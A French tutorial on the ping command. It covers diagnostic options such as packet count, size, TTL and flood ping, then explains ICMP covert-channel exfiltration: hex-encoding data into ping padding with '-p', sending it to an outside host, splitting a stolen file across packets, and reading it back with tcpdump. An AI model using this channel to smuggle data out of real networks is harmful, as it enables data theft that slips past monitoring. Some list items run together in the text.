La commande ping est souvent perçue comme un simple test "ça marche ou ça marche pas", mais c'est en réalité un véritable couteau suisse pour diagnostiquer la santé d'un réseau. Elle repose sur le protocole ICMP (Internet Control Message Protocol).
Voici tout ce que vous pouvez faire avec, des options de base aux techniques plus avancées.
Avant de plonger dans les options, voici comment le processus fonctionne concrètement :
Le ping envoie des données et attend une réponse du serveur afin de diagnostiquer la connexion réseau. Voici, ci-dessous, la commande de base de ping.
ping progfacil.fr
Quand tu lances cette commande, ton ordinateur effectue deux actions précises du protocole ICMP :
Par défaut, Windows envoie 4 paquets et s'arrête, tandis que Linux continue indéfiniment. Vous pouvez changer cela :
ping -n 10 google.com (envoie 10 paquets).ping -c 10 google.com (le -c signifie count).ping -t google.com (utile pour surveiller une coupure de connexion pendant que vous manipulez des câbles).ping -i 0.5 google.com (envoie un paquet toutes les demi-secondes au lieu de chaque seconde).C'est ici que ça devient intéressant pour le dépannage de performance.
ping -l 1500 google.comping -s 1500 google.comping -f -l 1472 google.comAttention : À n'utiliser que sur votre propre réseau. C'est un test de stress.
sudo ping -f google.comping -4 google.com ou ping -6 google.com.ping -i 5 google.com (Le paquet mourra après 5 routeurs). C'est un peu le principe simplifié du tracert.ping -a google.com. Votre ordinateur émettra un "bip" à chaque réponse reçue. Pratique quand vous travaillez sous un bureau et que vous ne voyez pas l'écran !ping -D google.com. Affiche l'heure UNIX devant chaque ligne, idéal pour enregistrer des logs sur une longue période.Résumé des commandes (Windows vs Linux)
L'exfiltration de données via le MTU (ou plus précisément via le champ Data du paquet IP/ICMP) est une technique de "Covert Channel". Le but est de détourner l'usage normal du ping pour envoyer des informations volées.
Voici comment on procède techniquement pour modifier le contenu d'un ping :
Normalement, un ping contient une suite de caractères bidon (souvent abcdefg...). Avec l'option -p (sur Linux), tu peux remplacer ces données par de l'hexadécimal.
Si tu veux envoyer le mot "SECRET", tu dois d'abord le convertir en hexadécimal :
S = 53, E = 45, C = 43, R = 52, E = 45, T = 54534543524554Pour envoyer ce mot à ton instance AWS :
ping -p 534543524554 -c 1 progfacil.fr
-p : Définit le "padding" (le remplissage du paquet) avec ton code hexadécimal.-c 1 : Un seul paquet suffit pour envoyer ce petit mot.Si tu as un fichier entier à voler, tu ne peux pas tout mettre dans un seul ping (à cause de la limite du MTU, environ 1500 octets).
Le hacker va alors :
tcpdump ou Wireshark.C'est la partie la plus impressionnante. Si tu es sur ton serveur AWS et que tu veux voir ce qui arrive, lance cette commande :
sudo tcpdump -i eth0 icmp -X
-i eth0 : Écoute sur la carte réseau.icmp : Ne montre que les pings.-X : Affiche le contenu des paquets en Hexadécimal ET en texte clair (ASCII).ping -p.tcpdump si tu arrives à lire ton prénom dans le paquet reçu.Résultat attendu :
sudo journalctl -k | grep -i icmp